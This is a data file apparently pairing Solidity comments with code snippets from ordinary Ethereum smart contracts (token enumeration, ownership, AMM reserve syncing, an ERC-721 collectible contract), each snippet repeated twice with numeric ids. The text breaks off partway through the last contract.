// - this function lets you deposit ETH into this wallet
|
function depositETH() payable public onlyOwner {
balance += msg.value;
}
|
function depositETH() payable public onlyOwner {
balance += msg.value;
}
| 28,939
|
74
|
// Returns a token ID owned by owner at a given index of its token list.
|
* Use along with {balanceOf} to enumerate all of owner's tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given index of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
|
* Use along with {balanceOf} to enumerate all of owner's tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given index of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
| 17,549
|
19
|
// Owner Set & change owner /
|
contract Owner {
address private owner;
// event for EVM logging
event OwnerSet(address indexed oldOwner, address indexed newOwner);
// modifier to check if caller is owner
modifier isOwner() {
// If the first argument of 'require' evaluates to 'false', execution terminates and all
// changes to the state and to Ether balances are reverted.
// This used to consume all gas in old EVM versions, but not anymore.
// It is often a good idea to use 'require' to check if functions are called correctly.
// As a second argument, you can also provide an explanation about what went wrong.
require(msg.sender == owner, "Caller is not owner");
_;
}
/**
* @dev Set contract deployer as owner
*/
constructor(address _owner) {
owner = _owner;
emit OwnerSet(address(0), owner);
}
/**
* @dev Change owner
* @param newOwner address of new owner
*/
function changeOwner(address newOwner) public isOwner {
emit OwnerSet(owner, newOwner);
owner = newOwner;
}
/**
* @dev Return owner address
* @return address of owner
*/
function getOwner() public view returns (address) {
return owner;
}
}
|
contract Owner {
address private owner;
// event for EVM logging
event OwnerSet(address indexed oldOwner, address indexed newOwner);
// modifier to check if caller is owner
modifier isOwner() {
// If the first argument of 'require' evaluates to 'false', execution terminates and all
// changes to the state and to Ether balances are reverted.
// This used to consume all gas in old EVM versions, but not anymore.
// It is often a good idea to use 'require' to check if functions are called correctly.
// As a second argument, you can also provide an explanation about what went wrong.
require(msg.sender == owner, "Caller is not owner");
_;
}
/**
* @dev Set contract deployer as owner
*/
constructor(address _owner) {
owner = _owner;
emit OwnerSet(address(0), owner);
}
/**
* @dev Change owner
* @param newOwner address of new owner
*/
function changeOwner(address newOwner) public isOwner {
emit OwnerSet(owner, newOwner);
owner = newOwner;
}
/**
* @dev Return owner address
* @return address of owner
*/
function getOwner() public view returns (address) {
return owner;
}
}
| 19,276
|
129
|
// Vault allowance client x freelancer
|
mapping (address => mapping (address => ClientAccess)) public accessAllowance;
|
mapping (address => mapping (address => ClientAccess)) public accessAllowance;
| 11,960
|
14
|
// force balances to match reserves
|
function skim(address to) external lock {
address _token0 = token0;
address _token1 = token1;
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
function updateDays30PR(uint256 _days30PR) external lock {
days30PR = _days30PR;
}
function updateLiquiditySlots() internal {
day++;
(uint112 _reserve0, uint112 _reserve1, , uint256 _privateFees0, uint256 _privateFees1) = getBalances();
uint112 _totalSupply = uint112(totalSupply);
uint112 _liquidityQuote0 = _reserve0 / _totalSupply;
uint112 _liquidityQuote1 = _reserve1 / _totalSupply;
privateFeesTab0[day] = _privateFees0.sub(lastPrivateFees0);
privateFeesTab1[day] = _privateFees1.sub(lastPrivateFees1);
uint256 _days30Fees0;
uint256 _days30Fees1;
uint256 _liquiditySlots;
for (uint256 i = 1; i <= 30; i++) {
_days30Fees0 = _days30Fees0.add(privateFeesTab0[i]);
_days30Fees1 = _days30Fees1.add(privateFeesTab1[i]);
}
|
function skim(address to) external lock {
address _token0 = token0;
address _token1 = token1;
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
function updateDays30PR(uint256 _days30PR) external lock {
days30PR = _days30PR;
}
function updateLiquiditySlots() internal {
day++;
(uint112 _reserve0, uint112 _reserve1, , uint256 _privateFees0, uint256 _privateFees1) = getBalances();
uint112 _totalSupply = uint112(totalSupply);
uint112 _liquidityQuote0 = _reserve0 / _totalSupply;
uint112 _liquidityQuote1 = _reserve1 / _totalSupply;
privateFeesTab0[day] = _privateFees0.sub(lastPrivateFees0);
privateFeesTab1[day] = _privateFees1.sub(lastPrivateFees1);
uint256 _days30Fees0;
uint256 _days30Fees1;
uint256 _liquiditySlots;
for (uint256 i = 1; i <= 30; i++) {
_days30Fees0 = _days30Fees0.add(privateFeesTab0[i]);
_days30Fees1 = _days30Fees1.add(privateFeesTab1[i]);
}
| 13,711
|
17
|
// Safety check to prevent against an unexpected 0x0 default.
|
require(msg.sender != address(0));
require(!captains.checkCaptain(msg.sender,_captainId));
|
require(msg.sender != address(0));
require(!captains.checkCaptain(msg.sender,_captainId));
| 26,228
|
1
|
// ERC-3156 Flash loan callback
|
function onFlashLoan(
address initiator,
address,
uint256 amount,
uint256 fee,
bytes calldata data
|
function onFlashLoan(
address initiator,
address,
uint256 amount,
uint256 fee,
bytes calldata data
| 5,507
|
6
|
// close account the auth of deploying contract /
|
function closeDeployAuth(address account) public onlyOwner {
if (_deployAuthType == 1) {
_deployAuthWhiteMap[account] = false;
} else if (_deployAuthType == 2) {
_deployAuthBlackMap[account] = true;
}
}
|
function closeDeployAuth(address account) public onlyOwner {
if (_deployAuthType == 1) {
_deployAuthWhiteMap[account] = false;
} else if (_deployAuthType == 2) {
_deployAuthBlackMap[account] = true;
}
}
| 31,313
|
0
|
// showing the exchange of product between drugcontroller and certifierActually it is DrugDetails now
|
/*interface Regulator{
function sendescrow(address escrowparticipator, bytes32 escrowparticipatorname, uint escrowparticipatoramount) external;
function returnbackescrow (address _escrowvictimaddress, bytes32 _escrowvictimmame, uint _escrowvictimmoney) external;
//LASTOWNER WILL BE PAID HERE
//LASTOWNER WILL BE PAID HERE
function deposit(address donator, address receipient, uint amount) external;
}
|
/*interface Regulator{
function sendescrow(address escrowparticipator, bytes32 escrowparticipatorname, uint escrowparticipatoramount) external;
function returnbackescrow (address _escrowvictimaddress, bytes32 _escrowvictimmame, uint _escrowvictimmoney) external;
//LASTOWNER WILL BE PAID HERE
//LASTOWNER WILL BE PAID HERE
function deposit(address donator, address receipient, uint amount) external;
}
| 13,376
|
1,206
|
// The underlying queue data structure stores 2 elements per insertion, so to get the real queue length we need to divide by 2.
|
return uint40(_queueRef.length() / 2);
|
return uint40(_queueRef.length() / 2);
| 57,128
|
20
|
// ensure complete purchase amount is taken from `eoa2`
|
assertEq(currency.balanceOf(eoa2), 0);
uint256 subsidyFundsToEoa1 = currency.balanceOf(eoa1) - shape1.worth;
{
uint256 subsidyFundsToDitto = subsidy2 - subsidy1;
|
assertEq(currency.balanceOf(eoa2), 0);
uint256 subsidyFundsToEoa1 = currency.balanceOf(eoa1) - shape1.worth;
{
uint256 subsidyFundsToDitto = subsidy2 - subsidy1;
| 45,703
|
43
|
// The lastBlock reward applicable/ return Returns the latest block.number on-chain
|
function lastBlockRewardApplicable() external view returns (uint256);
|
function lastBlockRewardApplicable() external view returns (uint256);
| 2,795
|
175
|
// Since the new array still fits in the slot, we just need to update the contents of the slot. uint256(bytes_storage) = uint256(bytes_storage) + uint256(bytes_memory) + new_length
|
sstore(
_preBytes_slot,
|
sstore(
_preBytes_slot,
| 26,199
|
105
|
// Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1)
|
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
|
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
| 17,467
|
13
|
// Finney to Wei
|
uint256 mintPriceInWei = uint256(whitelistConfig.mintPriceInFinney) *
10e14;
if (mintPriceInWei * _quantity > msg.value) {
revert CustomErrors.InsufficientFunds();
}
|
uint256 mintPriceInWei = uint256(whitelistConfig.mintPriceInFinney) *
10e14;
if (mintPriceInWei * _quantity > msg.value) {
revert CustomErrors.InsufficientFunds();
}
| 40,196
|
23
|
// Set and emit new offer
|
function _setOffer(uint256 tokenId, address offeror, uint256 minimumOffer, address invitedBidder) private {
tokenMarkets[tokenId].offeror = offeror;
tokenMarkets[tokenId].minimumOffer = minimumOffer;
tokenMarkets[tokenId].invitedBidder = invitedBidder;
emit OfferUpdated(tokenId, offeror, minimumOffer, invitedBidder);
}
|
function _setOffer(uint256 tokenId, address offeror, uint256 minimumOffer, address invitedBidder) private {
tokenMarkets[tokenId].offeror = offeror;
tokenMarkets[tokenId].minimumOffer = minimumOffer;
tokenMarkets[tokenId].invitedBidder = invitedBidder;
emit OfferUpdated(tokenId, offeror, minimumOffer, invitedBidder);
}
| 24,627
|
84
|
// PLEASE READ BEFORE CHANGING ANY ACCOUNTING OR MATH Anytime there is division, there is a risk of numerical instability from rounding errors. In order to minimize this risk, we adhere to the following guidelines: 1) The conversion rate adopted is the number of gons that equals 1 fragment.The inverse rate must not be used--TOTAL_GONS is always the numerator and _totalSupply isalways the denominator. (i.e. If you want to convert gons to fragments instead ofmultiplying by the inverse rate, you should divide by the normal rate) 2) Gon balances converted into Fragments are always rounded down (truncated). We make the following
|
using SafeMath for uint256;
using SafeMathInt for int256;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
event LogRebasePaused(bool paused);
event LogTokenPaused(bool paused);
event LogMonetaryPolicyUpdated(address monetaryPolicy);
|
using SafeMath for uint256;
using SafeMathInt for int256;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
event LogRebasePaused(bool paused);
event LogTokenPaused(bool paused);
event LogMonetaryPolicyUpdated(address monetaryPolicy);
| 10,444
|
4
|
// Get the mint number of a created token id /
|
function mintNumber(uint256 tokenId) external view returns (uint256);
|
function mintNumber(uint256 tokenId) external view returns (uint256);
| 36,587
|
52
|
// automatedMarketMakerPairs[uniswapV2Pair] = false;
|
uniswapV2Router = IUniswapV2Router02(newAddress);
address _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
.getPair(address(this), WETH);
if (_uniswapV2Pair == ZERO_ADDRESS) {
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
.createPair(address(this), WETH);
}
|
uniswapV2Router = IUniswapV2Router02(newAddress);
address _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
.getPair(address(this), WETH);
if (_uniswapV2Pair == ZERO_ADDRESS) {
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
.createPair(address(this), WETH);
}
| 15,395
|
16
|
// Migrations contract - abstract contract that allows migrate to new address.
|
contract Migrations is Ownable {
uint public lastCompletedMigration;
function setCompleted(uint completed) onlyOwner {
lastCompletedMigration = completed;
}
function upgrade(address newAddress) onlyOwner {
Migrations upgraded = Migrations(newAddress);
upgraded.setCompleted(lastCompletedMigration);
}
}
|
contract Migrations is Ownable {
uint public lastCompletedMigration;
function setCompleted(uint completed) onlyOwner {
lastCompletedMigration = completed;
}
function upgrade(address newAddress) onlyOwner {
Migrations upgraded = Migrations(newAddress);
upgraded.setCompleted(lastCompletedMigration);
}
}
| 53,711
|
5
|
// Returns the whitelisted claimer for a certain address (0x0 if not set) user The address of the userreturn The claimer address /
|
function getClaimer(address user) external view returns (address);
|
function getClaimer(address user) external view returns (address);
| 9,860
|
5
|
// __AccessControl_init_unchained();MODIFIED
|
__ERC20_init_unchained(name, symbol);
__ERC20Burnable_init_unchained();
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
|
__ERC20_init_unchained(name, symbol);
__ERC20Burnable_init_unchained();
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
| 34,223
|
34
|
// 项目方收款
|
function transferToProject(uint256 ethAmount,uint256 tokenAmount,Pair storage pair) private{
uint256 proEthAmount = ethAmount.mul(ORE_AMOUNT.sub(pair.actual)).div(ORE_AMOUNT);
uint256 proTokenAmount = tokenAmount.mul(ORE_AMOUNT.sub(pair.actual)).div(ORE_AMOUNT);
proAddress.transfer(proEthAmount);
ERC20Token.safeTransfer(proAddress,proTokenAmount);
}
|
function transferToProject(uint256 ethAmount,uint256 tokenAmount,Pair storage pair) private{
uint256 proEthAmount = ethAmount.mul(ORE_AMOUNT.sub(pair.actual)).div(ORE_AMOUNT);
uint256 proTokenAmount = tokenAmount.mul(ORE_AMOUNT.sub(pair.actual)).div(ORE_AMOUNT);
proAddress.transfer(proEthAmount);
ERC20Token.safeTransfer(proAddress,proTokenAmount);
}
| 12,765
|
61
|
// Function to mint tokens to The address that will receive the minted tokens. value The amount of tokens to mint.return A boolean that indicates if the operation was successful. /
|
function mint(address to, uint256 value) public onlyOwner returns (bool) {
_mint(to, value);
return true;
}
|
function mint(address to, uint256 value) public onlyOwner returns (bool) {
_mint(to, value);
return true;
}
| 8,188
|
37
|
// 2017.10.15 21:00 UTC or 2017.10.16 0:00 MSK
|
uint public constant defaultIcoDeadline = 1508101200;
|
uint public constant defaultIcoDeadline = 1508101200;
| 40,086
|
2
|
// Set a white list addressto the address to be setstatus the whitelisting status (true for yes, false for no)data a string with data about the whitelisted address/
|
function setWhitelist(address to, bool status, string memory data) public onlyWhitelister returns(bool){
whitelist[to] = whiteListItem(status, data);
emit WhitelistUpdate(to, status, data);
return true;
}
|
function setWhitelist(address to, bool status, string memory data) public onlyWhitelister returns(bool){
whitelist[to] = whiteListItem(status, data);
emit WhitelistUpdate(to, status, data);
return true;
}
| 6,254
|
89
|
// _nums[0] BUY or SELL _addrs[0] token _addrs[N] order[N-1].owner N -> N+1 _nums[6N-2] order[N-1].nonce N -> 6N+4 _nums[6N-1] order[N-1].price N -> 6N+5 _nums[6N] order[N-1].amountN -> 6N+6 _nums[6N+3] order[N-1].tradeAmount N -> 6N+9
|
executeOrder(
_nums[0],
_addrs[0],
_addrs[_i+1],
_nums[6*_i+4],
_nums[6*_i+5],
_nums[6*_i+6],
_nums[6*_i+9]
);
|
executeOrder(
_nums[0],
_addrs[0],
_addrs[_i+1],
_nums[6*_i+4],
_nums[6*_i+5],
_nums[6*_i+6],
_nums[6*_i+9]
);
| 19,380
|
4
|
// Changes the minimum time in seconds that must elapse between withdraws from L2->L1. Only callable by the existing crossDomainAdmin via the optimism cross domain messenger. newMinimumBridgingDelay the new minimum delay. /
|
function setMinimumBridgingDelay(uint64 newMinimumBridgingDelay)
public
onlyFromCrossDomainAccount(crossDomainAdmin)
|
function setMinimumBridgingDelay(uint64 newMinimumBridgingDelay)
public
onlyFromCrossDomainAccount(crossDomainAdmin)
| 26,196
|
325
|
// WithdrawalLimitBalance
|
function setWithdrawalLimitBalance(
address _property,
address _user,
uint256 _value
|
function setWithdrawalLimitBalance(
address _property,
address _user,
uint256 _value
| 50,971
|
134
|
// Max MEED Supply Reached
|
event MaxSupplyReached(uint256 timestamp);
constructor (
MeedsToken _meed,
uint256 _meedPerMinute,
uint256 _startRewardsTime
|
event MaxSupplyReached(uint256 timestamp);
constructor (
MeedsToken _meed,
uint256 _meedPerMinute,
uint256 _startRewardsTime
| 5,594
|
141
|
// Allows for depositing the underlying asset in exchange for shares assigned to the holder. This facilitates depositing for someone else (using DepositHelper)/
|
function depositFor(uint256 amount, address holder) public defense {
_deposit(amount, msg.sender, holder);
}
|
function depositFor(uint256 amount, address holder) public defense {
_deposit(amount, msg.sender, holder);
}
| 1,131
|
114
|
// The facet of the CobeFriends core contract that manages ownership, ERC-721 (draft) compliant./Ref: https:github.com/ethereum/EIPs/issues/721/See the CobeFriendCore contract documentation to understand how the various contract facets are arranged.
|
contract CobeFriendOwnership is CobeFriendBase, ERC721 {
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant name = "CobeFriends";
string public constant symbol = "CBF";
// The contract that will return CobeFriend metadata
ERC721Metadata public erc721Metadata;
bytes4 constant InterfaceSignature_ERC165 =
bytes4(keccak256('supportsInterface(bytes4)'));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('tokensOfOwner(address)')) ^
bytes4(keccak256('tokenMetadata(uint256,string)'));
/// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165).
/// Returns true for any standardized interfaces implemented by this contract. We implement
/// ERC-165 (obviously!) and ERC-721.
function supportsInterface(bytes4 _interfaceID) external view returns (bool)
{
// DEBUG ONLY
//require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d));
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
/// @dev Set the address of the sibling contract that tracks metadata.
/// CEO only.
function setMetadataAddress(address _contractAddress) public onlyCEO {
erc721Metadata = ERC721Metadata(_contractAddress);
}
// Internal utility functions: These functions all assume that their input arguments
// are valid. We leave it to public methods to sanitize their inputs and follow
// the required logic.
/// @dev Checks if a given address is the current owner of a particular CobeFriend.
/// @param _claimant the address we are validating against.
/// @param _tokenId CobeFriend id, only valid when > 0
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return CobeFriendIndexToOwner[_tokenId] == _claimant;
}
/// @dev Checks if a given address currently has transferApproval for a particular CobeFriend.
/// @param _claimant the address we are confirming CobeFriend is approved for.
/// @param _tokenId CobeFriend id, only valid when > 0
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return CobeFriendIndexToApproved[_tokenId] == _claimant;
}
/// @dev Marks an address as being approved for transferFrom(), overwriting any previous
/// approval. Setting _approved to address(0) clears all transfer approval.
/// NOTE: _approve() does NOT send the Approval event. This is intentional because
/// _approve() and transferFrom() are used together for putting CobeFriends on auction, and
/// there is no value in spamming the log with Approval events in that case.
function _approve(uint256 _tokenId, address _approved) internal {
CobeFriendIndexToApproved[_tokenId] = _approved;
}
/// @notice Returns the number of CobeFriends owned by a specific address.
/// @param _owner The owner address to check.
/// @dev Required for ERC-721 compliance
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
/// @notice Transfers a CobeFriend to another address. If transferring to a smart
/// contract be VERY CAREFUL to ensure that it is aware of ERC-721 (or
/// CobeFriends specifically) or your CobeFriend may be lost forever. Seriously.
/// @param _to The address of the recipient, can be a user or contract.
/// @param _tokenId The ID of the CobeFriend to transfer.
/// @dev Required for ERC-721 compliance.
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any CobeFriends (except very briefly
// after a gen0 cbf is created and before it goes on auction).
require(_to != address(this));
// Disallow transfers to the auction contracts to prevent accidental
// misuse. Auction contracts should only take ownership of CobeFriends
// through the allow + transferFrom flow.
require(_to != address(saleAuction));
// You can only send your own cbf.
require(_owns(msg.sender, _tokenId));
// Reassign ownership, clear pending approvals, emit Transfer event.
_transfer(msg.sender, _to, _tokenId);
}
/// @notice Grant another address the right to transfer a specific CobeFriend via
/// transferFrom(). This is the preferred flow for transfering NFTs to contracts.
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the CobeFriend that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
// Only an owner can grant transfer approval.
require(_owns(msg.sender, _tokenId));
// Register the approval (replacing any previous approval).
_approve(_tokenId, _to);
// Emit approval event.
Approval(msg.sender, _to, _tokenId);
}
/// @notice Transfer a CobeFriend owned by another address, for which the calling address
/// has previously been granted transfer approval by the owner.
/// @param _from The address that owns the CobeFriend to be transfered.
/// @param _to The address that should take ownership of the CobeFriend. Can be any address,
/// including the caller.
/// @param _tokenId The ID of the CobeFriend to be transferred.
/// @dev Required for ERC-721 compliance.
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any CobeFriends (except very briefly
// after a gen0 cbf is created and before it goes on auction).
require(_to != address(this));
// Check for approval and valid ownership
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
// Reassign ownership (also clears pending approvals and emits Transfer event).
_transfer(_from, _to, _tokenId);
}
/// @notice Returns the total number of CobeFriends currently in existence.
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint) {
return CobeFriends.length - 1;
}
/// @notice Returns the address currently assigned ownership of a given CobeFriend.
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
external
view
returns (address owner)
{
owner = CobeFriendIndexToOwner[_tokenId];
require(owner != address(0));
}
/// @notice Returns a list of all CobeFriend IDs assigned to an address.
/// @param _owner The owner whose CobeFriends we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire CobeFriend array looking for cbfs belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalcbfs = totalSupply();
uint256 resultIndex = 0;
// We count on the fact that all cbfs have IDs starting at 1 and increasing
// sequentially up to the totalcbf count.
uint256 cbfId;
for (cbfId = 1; cbfId <= totalcbfs; cbfId++) {
if (CobeFriendIndexToOwner[cbfId] == _owner) {
result[resultIndex] = cbfId;
resultIndex++;
}
}
return result;
}
}
/// @dev Adapted from memcpy() by @arachnid (Nick Johnson <arachnid@notdot.net>)
/// This method is licenced under the Apache License.
/// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol
function _memcpy(uint _dest, uint _src, uint _len) private view {
// Copy word-length chunks while possible
for(; _len >= 32; _len -= 32) {
assembly {
mstore(_dest, mload(_src))
}
_dest += 32;
_src += 32;
}
// Copy remaining bytes
uint256 mask = 256 ** (32 - _len) - 1;
assembly {
let srcpart := and(mload(_src), not(mask))
let destpart := and(mload(_dest), mask)
mstore(_dest, or(destpart, srcpart))
}
}
/// @dev Adapted from toString(slice) by @arachnid (Nick Johnson <arachnid@notdot.net>)
/// This method is licenced under the Apache License.
/// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol
function _toString(bytes32[4] _rawBytes, uint256 _stringLength) private view returns (string) {
var outputString = new string(_stringLength);
uint256 outputPtr;
uint256 bytesPtr;
assembly {
outputPtr := add(outputString, 32)
bytesPtr := _rawBytes
}
_memcpy(outputPtr, bytesPtr, _stringLength);
return outputString;
}
/// @notice Returns a URI pointing to a metadata package for this token conforming to
/// ERC-721 (https://github.com/ethereum/EIPs/issues/721)
/// @param _tokenId The ID number of the CobeFriend whose metadata should be returned.
function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl) {
require(erc721Metadata != address(0));
bytes32[4] memory buffer;
uint256 count;
(buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport);
return _toString(buffer, count);
}
}
|
contract CobeFriendOwnership is CobeFriendBase, ERC721 {
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant name = "CobeFriends";
string public constant symbol = "CBF";
// The contract that will return CobeFriend metadata
ERC721Metadata public erc721Metadata;
bytes4 constant InterfaceSignature_ERC165 =
bytes4(keccak256('supportsInterface(bytes4)'));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('tokensOfOwner(address)')) ^
bytes4(keccak256('tokenMetadata(uint256,string)'));
/// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165).
/// Returns true for any standardized interfaces implemented by this contract. We implement
/// ERC-165 (obviously!) and ERC-721.
function supportsInterface(bytes4 _interfaceID) external view returns (bool)
{
// DEBUG ONLY
//require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d));
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
/// @dev Set the address of the sibling contract that tracks metadata.
/// CEO only.
function setMetadataAddress(address _contractAddress) public onlyCEO {
erc721Metadata = ERC721Metadata(_contractAddress);
}
// Internal utility functions: These functions all assume that their input arguments
// are valid. We leave it to public methods to sanitize their inputs and follow
// the required logic.
/// @dev Checks if a given address is the current owner of a particular CobeFriend.
/// @param _claimant the address we are validating against.
/// @param _tokenId CobeFriend id, only valid when > 0
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return CobeFriendIndexToOwner[_tokenId] == _claimant;
}
/// @dev Checks if a given address currently has transferApproval for a particular CobeFriend.
/// @param _claimant the address we are confirming CobeFriend is approved for.
/// @param _tokenId CobeFriend id, only valid when > 0
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return CobeFriendIndexToApproved[_tokenId] == _claimant;
}
/// @dev Marks an address as being approved for transferFrom(), overwriting any previous
/// approval. Setting _approved to address(0) clears all transfer approval.
/// NOTE: _approve() does NOT send the Approval event. This is intentional because
/// _approve() and transferFrom() are used together for putting CobeFriends on auction, and
/// there is no value in spamming the log with Approval events in that case.
function _approve(uint256 _tokenId, address _approved) internal {
CobeFriendIndexToApproved[_tokenId] = _approved;
}
/// @notice Returns the number of CobeFriends owned by a specific address.
/// @param _owner The owner address to check.
/// @dev Required for ERC-721 compliance
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
/// @notice Transfers a CobeFriend to another address. If transferring to a smart
/// contract be VERY CAREFUL to ensure that it is aware of ERC-721 (or
/// CobeFriends specifically) or your CobeFriend may be lost forever. Seriously.
/// @param _to The address of the recipient, can be a user or contract.
/// @param _tokenId The ID of the CobeFriend to transfer.
/// @dev Required for ERC-721 compliance.
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any CobeFriends (except very briefly
// after a gen0 cbf is created and before it goes on auction).
require(_to != address(this));
// Disallow transfers to the auction contracts to prevent accidental
// misuse. Auction contracts should only take ownership of CobeFriends
// through the allow + transferFrom flow.
require(_to != address(saleAuction));
// You can only send your own cbf.
require(_owns(msg.sender, _tokenId));
// Reassign ownership, clear pending approvals, emit Transfer event.
_transfer(msg.sender, _to, _tokenId);
}
/// @notice Grant another address the right to transfer a specific CobeFriend via
/// transferFrom(). This is the preferred flow for transfering NFTs to contracts.
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the CobeFriend that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
// Only an owner can grant transfer approval.
require(_owns(msg.sender, _tokenId));
// Register the approval (replacing any previous approval).
_approve(_tokenId, _to);
// Emit approval event.
Approval(msg.sender, _to, _tokenId);
}
/// @notice Transfer a CobeFriend owned by another address, for which the calling address
/// has previously been granted transfer approval by the owner.
/// @param _from The address that owns the CobeFriend to be transfered.
/// @param _to The address that should take ownership of the CobeFriend. Can be any address,
/// including the caller.
/// @param _tokenId The ID of the CobeFriend to be transferred.
/// @dev Required for ERC-721 compliance.
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any CobeFriends (except very briefly
// after a gen0 cbf is created and before it goes on auction).
require(_to != address(this));
// Check for approval and valid ownership
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
// Reassign ownership (also clears pending approvals and emits Transfer event).
_transfer(_from, _to, _tokenId);
}
/// @notice Returns the total number of CobeFriends currently in existence.
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint) {
return CobeFriends.length - 1;
}
/// @notice Returns the address currently assigned ownership of a given CobeFriend.
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
external
view
returns (address owner)
{
owner = CobeFriendIndexToOwner[_tokenId];
require(owner != address(0));
}
/// @notice Returns a list of all CobeFriend IDs assigned to an address.
/// @param _owner The owner whose CobeFriends we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire CobeFriend array looking for cbfs belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
